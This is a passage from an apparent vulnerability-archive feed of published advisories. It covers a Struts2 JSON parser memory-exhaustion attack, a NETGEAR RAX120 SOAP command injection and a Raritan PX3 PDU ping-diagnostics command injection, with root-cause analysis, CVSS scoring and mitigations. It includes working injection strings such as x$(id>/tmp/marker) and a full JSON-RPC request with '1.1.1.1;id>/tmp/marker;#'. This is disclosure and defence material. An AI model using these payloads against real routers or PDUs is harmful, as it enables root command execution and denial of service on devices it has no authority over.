certain literals, so duplicates might be interned, but during parsing, this is not \nlikely. Strings carry substantial object overhead, typically consuming 48 bytes on the heap on a 64-bit machine. \nAssuming none of the Strings are interned, a single 10,000 element array of two-character strings consumes roughly \n520KB of RAM - at the transmission cost of just 50,001 characters (~50KB). At a 2MB maximum payload restriction, an \nattacker can cleanly pack roughly 40 of these structures, yielding 20.8MB of RAM for a single collection layer.\n\nThat, however, is only after the ArrayList is fully constructed. ArrayLists are dynamic -- they start at a capacity of \n10 by default and grow automatically by 50% each time that they need to expand. For an array scaling to 10,000 \nelements, the capacity progression is simply:\n10 -\u003e 15 -\u003e 22 -\u003e 33 -\u003e 49 -\u003e 73 -\u003e 109 -\u003e 163 -\u003e 244 -\u003e 366 -\u003e 549 -\u003e 823 -\u003e 1234 -\u003e 1851 -\u003e 2776 -\u003e 4164 -\u003e 6246 -\u003e \n9369 -\u003e 14053\n\nIn other words, that single ArrayList backing array will grow 18 times with each step requiring a fresh array \nallocation, a memory copy from the old to the new (where both sit in memory simultaneously), and an unpredictable, \neventual deallocation of the old array by the Garbage Collector.\n\nMoreover, the final array won\u0027t stop at 10,000 elements -- its allocated size will remain at 14,053 internal spaces. \nThe remaining 4,053 slots will be empty pointers that still consume heap space (~56KB total for the backing array, of \nwhich ~16KB is completely wasted heap space). If transient backing arrays exist concurrently during expansion, that \nscales to ~168.6KB of RAM just for a single array\u0027s resizing churn.\n\nWhen assuming 40 concurrent attackers running an automated script like Commas of D00m, this transient cost translates \nto ~6.76MB just for array allocations, completely independent of the data payload. Balancing the number of arrays \nagainst their node weights allows an attacker to easily optimise this footprint -- attackers can fill arrays to 9370 \nelements, forcing the largest wasted space, and then carefully pick the payload to maximise the consumed space from the \ninput. For example, boxed objects like Integer are exceptionally heavy computationally and structurally, and because \nnative Java Collections do not accept primitives, they force object header overhead across every entry, like Strings, \nand so can be especially good options, particularly if mixed with Strings and other such devices. Adding up these \ncomponents, a single automated payload sequence can easily consume:\n(20.8MB per request * 40 concurrent requests) + 6.76MB = ~838.8MB\n\nStandard production deployments of Apache Tomcat running on normal VMs default to a maximum heap space (-Xmx) \nequivalent to 25% of available physical RAM. For a standard 4GB host allocation, Tomcat\u0027s total available heap size \nsits at exactly 1,024MB, so a minor concurrent attack consumes over 80% of the entire application heap, with an \naddition 257.3MB consumed by total parallel allocation, completely exhausting available memory resources and triggering \nimmediate java.lang.OutOfMemoryError failures that crash the service before garbage collection can clear the transient \ndata.\n\nTaking Things Seriously\nUnderstanding how the deserialiser operates, how the parser operates, which to attack, and when to attack each allows \ndiscovering (and acting upon) a wide array of vulnerabilities and attack vectors, with devastating outcomes to the \nvictim. Organisations need to understand how their system works, how third-party libraries operate, what your use \nthereof and reliance thereupon means to the information system and its data, and understand the risk appetite of your \norganisation, your users, and any third-parties upon which you rely.\n\nBut it all goes to another point: attackers don\u0027t really need true concurrency, either. A stepped attack, which is \nmuch less likely to trigger DoS protections, can achieve the same goal, as can simply adjusting the rate and body, \noptimising what you send and how you send it. In other words, developers (and security professionals) need to take \nthis seriously because it\u0027s not simply a DoS attack and it\u0027s not simply \"flood the victim with data\". Truthfully, \nit\u0027s, like so many other issues, all about your system, how it interacts with and relies on the code, and how "
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/49"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/49"
},
{
"url": "https://github.com/apache/struts/pull/1625"
},
{
"url": "https://github.com/apache/struts/pull/1626"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://raw.githubusercontent.com/apache/struts/refs/heads/main/plugins/json/src/main/java/org/apache/struts2/json/StrutsJSONReader.java"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/49"
],
"discovery": "EXTERNAL"
},
"title": "Continued Apache Struts2 JSON Plugin Insecure Deserialisation",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0508",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/49",
"automated": true,
"contentSha256": "c144cc1929170637916496c08867f865746ec7aa88905b611deafdde5ef9d213",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/49",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:59:24Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0508"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0507
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] NETGEAR RAX120 V1.2.5.18 authenticated SOAP InstallApp OS command injection to root-configured web-stack execution (6.8 Medium; conditionally 7.2 High with management exposure)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in NETGEAR
RAX120 (Nighthawk AX12) firmware V1.2.5.18, the WiFi 6 consumer router from
NETGEAR (United States), built on the Qualcomm IPQ8074 platform. The
administrative web plane of this firmware generation is a lighttpd server
fronting the vendor's DNI-framework CGI handler /usr/sbin/net-cgi (an
aarch64, musl, stripped image; the handler binary measures 1,042,120 bytes
and its recorded image digest begins d7035dd3), and the SOAP control plane
dispatches every action through /soap/server_XMLresp.cgi. Among those
actions is the app-installation control InstallApp of the service
urn:NETGEAR-ROUTER:service:AppSystem:1, which requires the router
administrator's session.
Type and root cause. OS command injection (CWE-78 primary, with CWE-20
co-equal for the blocklist-style improper input validation, and CWE-426
recorded as contributing without raising any metric). The operation takes a
NewAppName argument and passes it through a blocklist validator whose
"apname" mode (the routine at fcn.000407d8 in the stripped image, mode
string at 0xc3058) rejects six characters chosen with shell injection in
mind: the at-sign, the backtick, the semicolon, the double quote, the
single quote and the backslash. That set covers the classic
statement-separator and quote-context breakouts. It does not reject the
dollar sign or either parenthesis, which are the entire grammar of command
substitution. The handler then embeds the validated name, unquoted, into two
working paths (/tmp/<name>_tmp and /sw-apps/<name>, both built by direct
snprintf interpolation) and then into three shell command lines:
system("rm -rf /sw-apps/<name>/version.txt > /dev/console")
system("rm -rf /sw-apps/<name> > /dev/console")
popen("rm -rf /tmp/<name>_tmp; mkdir /tmp/<name>_tmp;
tar -zxf /tmp/<tarball> -C /tmp/<name>_tmp", "r")
Each sink executes through /bin/sh -c, so a second parse happens inside a
shell the validator never modeled. A name of the shape x$(cmd) substitutes
attacker-chosen command text before the rm words ever run, and the shell's
parser walks the whole command line with a substitution pass before
executing any word of it, so the injected command fires whether or not the
surrounding rm errors out. An intermediate string processor in the handler
walk (recorded at fcn.00079060) rewrites carriage returns and line feeds to
spaces and performs no other transformation, so no downstream mitigation
exists: the dollar sign, pipe, ampersand and every other metacharacter pass
untouched. Two gates sit ahead of the validator, a 255-character length cap
on the name and a value gate on the companion NewUpdate element, and both
are compatible with the payload, which is under 30 characters.
Execution identity. system() and popen() children inherit the identity of
the web stack that calls them, and the research record identifies, from the
firmware image's own lighttpd configuration, the server's configured
runtime user as root, so command text supplied through this handler
inherits device-root authority by product configuration. The dynamic
verification measured exactly that identity in a sink-level replication:
markers carrying uid=0(root) gid=0(root) groups=0(root) from all three
vectors, and none from a benign control name.
Authentication, credited plainly. This is not an unauthenticated finding
and no unauthenticated variant of it is claimed. The gate is identified from
the artifacts as the administrative SOAP login bound to the requesting
station's MAC address, failing closed; the chain consumes a legitimate
administrator session and neither bypasses nor forges it. It is also not a
default-credential finding: the same request succeeds whatever the
administrator password is. No second web-account tier with reach into this
service exists in any artifact examined, which is what fixes Privileges
Required at High. The product gets the gate right and the argument
construction wrong; this is a CWE-78/CWE-20 defect, not CWE-306 and not
CWE-862.
Why this handler and not a hundred others. The DNI framework also contains
an exec helper (recorded at fcn.000779f0) that runs commands through
vfork() plus execve() with an argument vector, architecturally immune to
shell injection, and large parts of the firmware use it. A census of the
shell-mediated remainder classified on the order of 150+ system() sites,
almost all of them fixed string constants loaded by address arithmetic with
no substitution, and about 54 popen() sites. The app-installation handler
is the single family in the analysed image that interpolates an
attacker-controlled SOAP argument into a shell command line, so the defect
is one handler rather than a platform-wide sloppy pattern.
The sibling platform. The same root cause was confirmed on the NETGEAR
R7800 (Nighthawk X4S), firmware V1.0.2.68: a different SoC generation
(Broadcom BCM4709), a different instruction set (32-bit ARM), a different
handler binary (recorded digest beginning c5a9f2b3) and a different
validator function whose reject set is only the double quote, the single
quote and the backslash, which is strictly more permissive than the main
model's six. The identical x$(cmd) payload passed that validator and
executed through the same handler family in that platform's own sink-level
replication, with three root markers of its own and a clean control. The
merge is argued at the level of root cause, not build identity, and the
platform differences are stated rather than smoothed over. Other models
shipping this framework's app-system code were not audited, and the vendor's
older R6700/R7000/R8000 generation runs a different self-built httpd lineage
that does not contain this handler, so no claim is made about it.
Verification boundary, stated in full, because it defines what is and is not
being claimed. No physical router was driven during verification and no
live SOAP request was fired at device hardware, at any point, in any phase
of this work. The request path, the session gate and the parameter
extraction are established at disassembly level from the shipped image. The
injection behaviour at the sink is established by a sink-level replication:
on an isolated cloud-hosted sandbox, a natively compiled C program
re-implemented the disassembled validator logic, the CRLF-normalising string
processor and all three command constructions, run with the root privilege
model the image's lighttpd configuration records for the web stack. Three
vectors, one per sink, each carrying x$(id>/tmp/<marker>) through the
replicated validator and construction, each produced a marker containing
uid=0(root) gid=0(root) groups=0(root); a benign control name traversing
the identical code path produced none. The control is the load-bearing
negative: it makes the marker creation attributable to the substitution
content alone, not to the surrounding construction or the harness. Not
performed and not claimed: any end-to-end HTTP round trip against device
hardware, any cross-station or cross-network detonation, any persistence
mechanism, any radio-firmware or hardware-adjacent effect, and any memory
corruption. There is none in the chain, which is metacharacter-class gap
and nothing else. The landing-identity mapping rests on the image's own
configuration artifact read as text, not on a live-device observation.
Scoring. One score is published: 6.8 Medium,
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. The arithmetic is printed so
any reader can reproduce it under the CVSS 3.1 base algorithm and its
round-up-to-the-tenth rule: ISS = 1 - (0.44 x 0.44 x 0.44) = 0.914816;
Impact for Scope Unchanged = 6.42 x 0.914816 = 5.873119; Exploitability =
8.22 x 0.62 (adjacent) x 0.77 x 0.27 x 0.85 = 0.900610; sum = 6.773729;
Roundup = 6.8. Attack Vector is Adjacent because the SOAP control plane
belongs to the router's local administrative service and no shipped
artifact examined establishes that the action answers on the wide-area side
of an unmodified deployment; the reading is argued from the product's
transport and the recovered session model, not demonstrated between two
hosts.
Two alternative readings are published, each labelled. A conditional
reading at 7.2 High (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from
Exploitability 1.234708 and sum 7.107827) applies where the management
plane is deliberately exposed beyond the adjacent network, by enabled
remote administration, by a port forward directed at the SOAP responder, or
by a management relay; it is conditional on a deployment choice this
research did not measure, and it is not the headline. Two further readings
are published as rejected with their arithmetic: a hypothetical
lower-privilege web tier at PR:L computes to 8.8 with AV:N (Exploitability
2.835255, sum 8.708374) and to 8.0 with AV:A, and both are rejected because
the app-installation control plane is administrator-only on this firmware
and no artifact documents a secondary account class with web access to this
service, so no principal exists to justify Low privileges.
One correction to the researchers' own record is published rather than
quietly made. The internal research ledger behind this advisory carried 8.8
for this chain. Recomputation rejects it: 8.8 is the arithmetic of the same
impact profile read at Low privilege, and the documented chain requires the
device administrator, so no vector supported by this evidence computes to
the recorded figure. The published score is 6.8, computed from the vector,
with the discrepancy recorded in the advisory rather than silently
overwritten, because a number that was quietly changed is a number nobody
downstream can audit. Correcting it lowered the published figure.
Impact. Command execution as the root-configured web stack, from a position
of an administrator credential the holder was never meant to convert into an
operating-system shell. Concretely: the complete configuration store
including credentials retained by the firmware; creation or modification of
accounts, startup scripts and scheduled tasks within the writable
filesystem; reconfiguration of interfaces, routes and the DNS resolver the
LAN depends on; redirection or observation of LAN traffic according to the
platform's own capabilities, turning the network's chokepoint device into an
interior attack position; and degradation of service at will, including
through the very rm -rf constructions this chain lives in. The chain is
silent in product terms: one authenticated POST inside a legitimate
management action, with no log-relevant traffic pattern beyond ordinary
app-management use. Persistence was not tested and is not claimed; what
survives a factory reset or reflash was not tested and is not claimed.
Mitigation summary: replace the blocklist with an allowlist for the
application name, [A-Za-z0-9][A-Za-z0-9._-]* with the existing length cap;
stop interpolating the name into shell command lines at all, implementing
cleanup, directory creation and extraction with unlink(), mkdir() and
argument-array execve()-family calls or the framework's own exec helper,
which closes the class for every caller pattern rather than enumerating
today's metacharacters; if a shell-based implementation must survive one
release cycle, single-quote every interpolated value with literal
single-quote escaping and assert post-construction that the compiled
command contains no dollar sign, failing the request otherwise; drop
web-stack privileges so lighttpd and its CGI handlers run as a dedicated
non-root identity; patch the sibling model in the same pass, its validator
being strictly more permissive, with one cross-model regression test
submitting $(true) as an application name and asserting no shell-out; adopt
a build rule failing the release on any system() or popen() site that
interpolates request data, rather than another manual audit of on the order
of 54 popen() sites in one binary; and for operators until a patch ships,
keep the manag
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Rax120",
"vendor": "Netgear",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in NETGEAR\nRAX120 (Nighthawk AX12) firmware V1.2.5.18, the WiFi 6 consumer router from\nNETGEAR (United States), built on the Qualcomm IPQ8074 platform. The\nadministrative web plane of this firmware generation is a lighttpd server\nfronting the vendor\u0027s DNI-framework CGI handler /usr/sbin/net-cgi (an\naarch64, musl, stripped image; the handler binary measures 1,042,120 bytes\nand its recorded image digest begins d7035dd3), and the SOAP control plane\ndispatches every action through /soap/server_XMLresp.cgi. Among those\nactions is the app-installation control InstallApp of the service\nurn:NETGEAR-ROUTER:service:AppSystem:1, which requires the router\nadministrator\u0027s session.\n\nType and root cause. OS command injection (CWE-78 primary, with CWE-20\nco-equal for the blocklist-style improper input validation, and CWE-426\nrecorded as contributing without raising any metric). The operation takes a\nNewAppName argument and passes it through a blocklist validator whose\n\"apname\" mode (the routine at fcn.000407d8 in the stripped image, mode\nstring at 0xc3058) rejects six characters chosen with shell injection in\nmind: the at-sign, the backtick, the semicolon, the double quote, the\nsingle quote and the backslash. That set covers the classic\nstatement-separator and quote-context breakouts. It does not reject the\ndollar sign or either parenthesis, which are the entire grammar of command\nsubstitution. The handler then embeds the validated name, unquoted, into two\nworking paths (/tmp/\u003cname\u003e_tmp and /sw-apps/\u003cname\u003e, both built by direct\nsnprintf interpolation) and then into three shell command lines:\n\n system(\"rm -rf /sw-apps/\u003cname\u003e/version.txt \u003e /dev/console\")\n system(\"rm -rf /sw-apps/\u003cname\u003e \u003e /dev/console\")\n popen(\"rm -rf /tmp/\u003cname\u003e_tmp; mkdir /tmp/\u003cname\u003e_tmp;\n tar -zxf /tmp/\u003ctarball\u003e -C /tmp/\u003cname\u003e_tmp\", \"r\")\n\nEach sink executes through /bin/sh -c, so a second parse happens inside a\nshell the validator never modeled. A name of the shape x$(cmd) substitutes\nattacker-chosen command text before the rm words ever run, and the shell\u0027s\nparser walks the whole command line with a substitution pass before\nexecuting any word of it, so the injected command fires whether or not the\nsurrounding rm errors out. An intermediate string processor in the handler\nwalk (recorded at fcn.00079060) rewrites carriage returns and line feeds to\nspaces and performs no other transformation, so no downstream mitigation\nexists: the dollar sign, pipe, ampersand and every other metacharacter pass\nuntouched. Two gates sit ahead of the validator, a 255-character length cap\non the name and a value gate on the companion NewUpdate element, and both\nare compatible with the payload, which is under 30 characters.\n\nExecution identity. system() and popen() children inherit the identity of\nthe web stack that calls them, and the research record identifies, from the\nfirmware image\u0027s own lighttpd configuration, the server\u0027s configured\nruntime user as root, so command text supplied through this handler\ninherits device-root authority by product configuration. The dynamic\nverification measured exactly that identity in a sink-level replication:\nmarkers carrying uid=0(root) gid=0(root) groups=0(root) from all three\nvectors, and none from a benign control name.\n\nAuthentication, credited plainly. This is not an unauthenticated finding\nand no unauthenticated variant of it is claimed. The gate is identified from\nthe artifacts as the administrative SOAP login bound to the requesting\nstation\u0027s MAC address, failing closed; the chain consumes a legitimate\nadministrator session and neither bypasses nor forges it. It is also not a\ndefault-credential finding: the same request succeeds whatever the\nadministrator password is. No second web-account tier with reach into this\nservice exists in any artifact examined, which is what fixes Privileges\nRequired at High. The product gets the gate right and the argument\nconstruction wrong; this is a CWE-78/CWE-20 defect, not CWE-306 and not\nCWE-862.\n\nWhy this handler and not a hundred others. The DNI framework also contains\nan exec helper (recorded at fcn.000779f0) that runs commands through\nvfork() plus execve() with an argument vector, architecturally immune to\nshell injection, and large parts of the firmware use it. A census of the\nshell-mediated remainder classified on the order of 150+ system() sites,\nalmost all of them fixed string constants loaded by address arithmetic with\nno substitution, and about 54 popen() sites. The app-installation handler\nis the single family in the analysed image that interpolates an\nattacker-controlled SOAP argument into a shell command line, so the defect\nis one handler rather than a platform-wide sloppy pattern.\n\nThe sibling platform. The same root cause was confirmed on the NETGEAR\nR7800 (Nighthawk X4S), firmware V1.0.2.68: a different SoC generation\n(Broadcom BCM4709), a different instruction set (32-bit ARM), a different\nhandler binary (recorded digest beginning c5a9f2b3) and a different\nvalidator function whose reject set is only the double quote, the single\nquote and the backslash, which is strictly more permissive than the main\nmodel\u0027s six. The identical x$(cmd) payload passed that validator and\nexecuted through the same handler family in that platform\u0027s own sink-level\nreplication, with three root markers of its own and a clean control. The\nmerge is argued at the level of root cause, not build identity, and the\nplatform differences are stated rather than smoothed over. Other models\nshipping this framework\u0027s app-system code were not audited, and the vendor\u0027s\nolder R6700/R7000/R8000 generation runs a different self-built httpd lineage\nthat does not contain this handler, so no claim is made about it.\n\nVerification boundary, stated in full, because it defines what is and is not\nbeing claimed. No physical router was driven during verification and no\nlive SOAP request was fired at device hardware, at any point, in any phase\nof this work. The request path, the session gate and the parameter\nextraction are established at disassembly level from the shipped image. The\ninjection behaviour at the sink is established by a sink-level replication:\non an isolated cloud-hosted sandbox, a natively compiled C program\nre-implemented the disassembled validator logic, the CRLF-normalising string\nprocessor and all three command constructions, run with the root privilege\nmodel the image\u0027s lighttpd configuration records for the web stack. Three\nvectors, one per sink, each carrying x$(id\u003e/tmp/\u003cmarker\u003e) through the\nreplicated validator and construction, each produced a marker containing\nuid=0(root) gid=0(root) groups=0(root); a benign control name traversing\nthe identical code path produced none. The control is the load-bearing\nnegative: it makes the marker creation attributable to the substitution\ncontent alone, not to the surrounding construction or the harness. Not\nperformed and not claimed: any end-to-end HTTP round trip against device\nhardware, any cross-station or cross-network detonation, any persistence\nmechanism, any radio-firmware or hardware-adjacent effect, and any memory\ncorruption. There is none in the chain, which is metacharacter-class gap\nand nothing else. The landing-identity mapping rests on the image\u0027s own\nconfiguration artifact read as text, not on a live-device observation.\n\nScoring. One score is published: 6.8 Medium,\nCVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. The arithmetic is printed so\nany reader can reproduce it under the CVSS 3.1 base algorithm and its\nround-up-to-the-tenth rule: ISS = 1 - (0.44 x 0.44 x 0.44) = 0.914816;\nImpact for Scope Unchanged = 6.42 x 0.914816 = 5.873119; Exploitability =\n8.22 x 0.62 (adjacent) x 0.77 x 0.27 x 0.85 = 0.900610; sum = 6.773729;\nRoundup = 6.8. Attack Vector is Adjacent because the SOAP control plane\nbelongs to the router\u0027s local administrative service and no shipped\nartifact examined establishes that the action answers on the wide-area side\nof an unmodified deployment; the reading is argued from the product\u0027s\ntransport and the recovered session model, not demonstrated between two\nhosts.\n\nTwo alternative readings are published, each labelled. A conditional\nreading at 7.2 High (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from\nExploitability 1.234708 and sum 7.107827) applies where the management\nplane is deliberately exposed beyond the adjacent network, by enabled\nremote administration, by a port forward directed at the SOAP responder, or\nby a management relay; it is conditional on a deployment choice this\nresearch did not measure, and it is not the headline. Two further readings\nare published as rejected with their arithmetic: a hypothetical\nlower-privilege web tier at PR:L computes to 8.8 with AV:N (Exploitability\n2.835255, sum 8.708374) and to 8.0 with AV:A, and both are rejected because\nthe app-installation control plane is administrator-only on this firmware\nand no artifact documents a secondary account class with web access to this\nservice, so no principal exists to justify Low privileges.\n\nOne correction to the researchers\u0027 own record is published rather than\nquietly made. The internal research ledger behind this advisory carried 8.8\nfor this chain. Recomputation rejects it: 8.8 is the arithmetic of the same\nimpact profile read at Low privilege, and the documented chain requires the\ndevice administrator, so no vector supported by this evidence computes to\nthe recorded figure. The published score is 6.8, computed from the vector,\nwith the discrepancy recorded in the advisory rather than silently\noverwritten, because a number that was quietly changed is a number nobody\ndownstream can audit. Correcting it lowered the published figure.\n\nImpact. Command execution as the root-configured web stack, from a position\nof an administrator credential the holder was never meant to convert into an\noperating-system shell. Concretely: the complete configuration store\nincluding credentials retained by the firmware; creation or modification of\naccounts, startup scripts and scheduled tasks within the writable\nfilesystem; reconfiguration of interfaces, routes and the DNS resolver the\nLAN depends on; redirection or observation of LAN traffic according to the\nplatform\u0027s own capabilities, turning the network\u0027s chokepoint device into an\ninterior attack position; and degradation of service at will, including\nthrough the very rm -rf constructions this chain lives in. The chain is\nsilent in product terms: one authenticated POST inside a legitimate\nmanagement action, with no log-relevant traffic pattern beyond ordinary\napp-management use. Persistence was not tested and is not claimed; what\nsurvives a factory reset or reflash was not tested and is not claimed.\n\nMitigation summary: replace the blocklist with an allowlist for the\napplication name, [A-Za-z0-9][A-Za-z0-9._-]* with the existing length cap;\nstop interpolating the name into shell command lines at all, implementing\ncleanup, directory creation and extraction with unlink(), mkdir() and\nargument-array execve()-family calls or the framework\u0027s own exec helper,\nwhich closes the class for every caller pattern rather than enumerating\ntoday\u0027s metacharacters; if a shell-based implementation must survive one\nrelease cycle, single-quote every interpolated value with literal\nsingle-quote escaping and assert post-construction that the compiled\ncommand contains no dollar sign, failing the request otherwise; drop\nweb-stack privileges so lighttpd and its CGI handlers run as a dedicated\nnon-root identity; patch the sibling model in the same pass, its validator\nbeing strictly more permissive, with one cross-model regression test\nsubmitting $(true) as an application name and asserting no shell-out; adopt\na build rule failing the release on any system() or popen() site that\ninterpolates request data, rather than another manual audit of on the order\nof 54 popen() sites in one binary; and for operators until a patch ships,\nkeep the manag"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-306",
"description": "CWE-306",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-426",
"description": "CWE-426",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/57"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/57"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/soap-installapp-apname-command-injection-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/57"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] NETGEAR RAX120 V1.2.5.18 authenticated SOAP InstallApp OS command injection to root-configured web-stack execution (6.8 Medium; conditionally 7.2 High with management exposure)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0507",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/57",
"automated": true,
"contentSha256": "3775d80dede37755e77055c1feaf401d4676226713e2707af3c2b8df6e4b3b6d",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/57",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:39:59Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0507"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0506
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Raritan PX3 PDU G4 firmware 4.3.14 command injection in the ping and traceroute diagnostics through an inverted hostname-validation return check (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the
Raritan PX3 PDU G4, firmware version 4.3.14, the intelligent rack power
distribution unit from Raritan, a Legrand company (United States). A
low-privilege authenticated session converts one diagnostics request into
operating-system command execution in the product's web-service context,
because the hostname validation that is supposed to gate the ping and
traceroute commands produces the correct rejection verdict and the caller then
executes on it anyway.
Type and root cause. CWE-78, OS command injection, with CWE-20 co-equal,
in the diagnostics service of /lib/libisys.so.1.0. The firmware is an aarch64
embedded Linux image whose web tier is a custom 1.8 MB C++ daemon, /bin/httpd,
built on an IDL-RPC framework: an authentication subsystem the binary refers
to as pp::aaa, a JSON-RPC name service, and seventy-five service namespaces,
all behind per-method authentication. The two diagnostics implementations,
isys::net::diag::ping at 0x5a988 and isys::net::diag::traceRoute at 0x5ab64,
do not perform network operations themselves: they assemble shell command
strings from the operator-supplied hostname and execute them through /bin/sh,
via pp::BackgroundCommand::open(bgCmd, "/bin/sh", argv) at 0x36170, reached
through runShellCommandAndGetResults() at 0x36094, which logs the command it
is about to run. The templates are ping -c <count> -W <timeout> <HOST> 2>&1
and traceroute -w <timeout> -m 30 <HOST> 2>&1, with ping6 and traceroute6
variants; the neighbouring string table carries "ping", "ping6", "traceroute",
"traceroute6", "2>&1" and the source file name "DiagnosticsImpl.cpp".
The defect is a returned verdict consumed with the wrong comparison. The
validation function, validateAndResolveHostName() at 0x5a3f4, is not a stub:
it walks the hostname character by character, explicitly rejects the percent
sign and every character above the ASCII colon, cross-checks that the host
resolves through the resolver service, and returns one constant, three, on
every rejection path - the rejection block converges at the load of that
constant and returns at 0x5a54c. Both consumers evaluate the verdict with an
unsigned strictly-greater branch: a return of three is not strictly greater
than three, so it falls through, and the rejected hostname is spliced into the
shell template verbatim. The result is an injection whose success condition is
the validator working exactly as designed: a semicolon is caught by the
character loop, a dollar or parenthesis survives the loop but fails
resolution, and all of them - caught or unresolved - flow into the command
template. A host value of 1.1.1.1;id>/tmp/marker;# keeps the ping segment
syntactically complete, runs the injected statement as a second shell
statement, and the trailing hash comments out the template's 2>&1 suffix; the
subshell form and a newline-separated form ride the same rejection path; the
traceroute template arms the second entry point identically. The image
contains a strict fully-qualified-hostname validator in libnetwork.so, but
the web daemon does not import it and the diagnostics library neither links
nor loads it on this code path.
The request that reaches the sink looks like this, transmitted as one JSON
body over the authenticated RPC channel:
```
{
"jsonrpc": "2.0",
"method": "net.Diagnostics.ping",
"params": {
"host": "1.1.1.1;id>/tmp/marker;#",
"count": 1,
"timeout": 1
},
"id": 2
}
```
The same attacker string rides the hostname argument of the corresponding CLI
commands. The 2>&1 merge suffix is an amplifier the attacker inherits for
free: whatever the injected command prints on either stream is captured by the
same mechanism that returns ping output, so the response channel doubles as
the command-output channel and no out-of-band exfiltration is needed.
Reach and privileges. The web methods sit behind the framework's per-method
authentication and no bypass of that boundary was measured. The load-bearing
privilege artifact is the shipped CLI configuration, /etc/clish/netdiag.xml:
ping and traceroute are defined with no access attribute - available to every
authenticated CLI user in this framework's grammar - while the neighbouring
netstat command carries access="admin". The vendor's own artifact therefore
documents that these two functions were deliberately placed in the
all-authenticated-users class, presumably on the theory that a ping is
harmless. On a rack PDU, management is a network service at a datacenter's
softest point, and the finding's effective audience is every monitoring
account, operations automation role and integration credential granted "just
to poll".
Severity. The published score is 8.8 High,
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H: ISS = 1 - (1 - 0.56) x (1 -
0.56) x (1 - 0.56) = 0.914816, impact = 6.42 x 0.914816 = 5.869119,
exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.835255, base =
5.869119 + 2.835255 = 8.704374, rounded up to 8.8. A PR:N reading of 9.8
Critical (impact 5.869119 plus exploitability 3.887043, total 9.756162) is
rejected: no authentication bypass was measured. Two conditional readings are
published as explicitly labelled conditionals and never as the headline. The
first applies where a deployment still carries the factory default
administrative credential pair recorded in the image's configuration default
area for first-boot access: the same PR:N vector computes to 9.8 Critical for
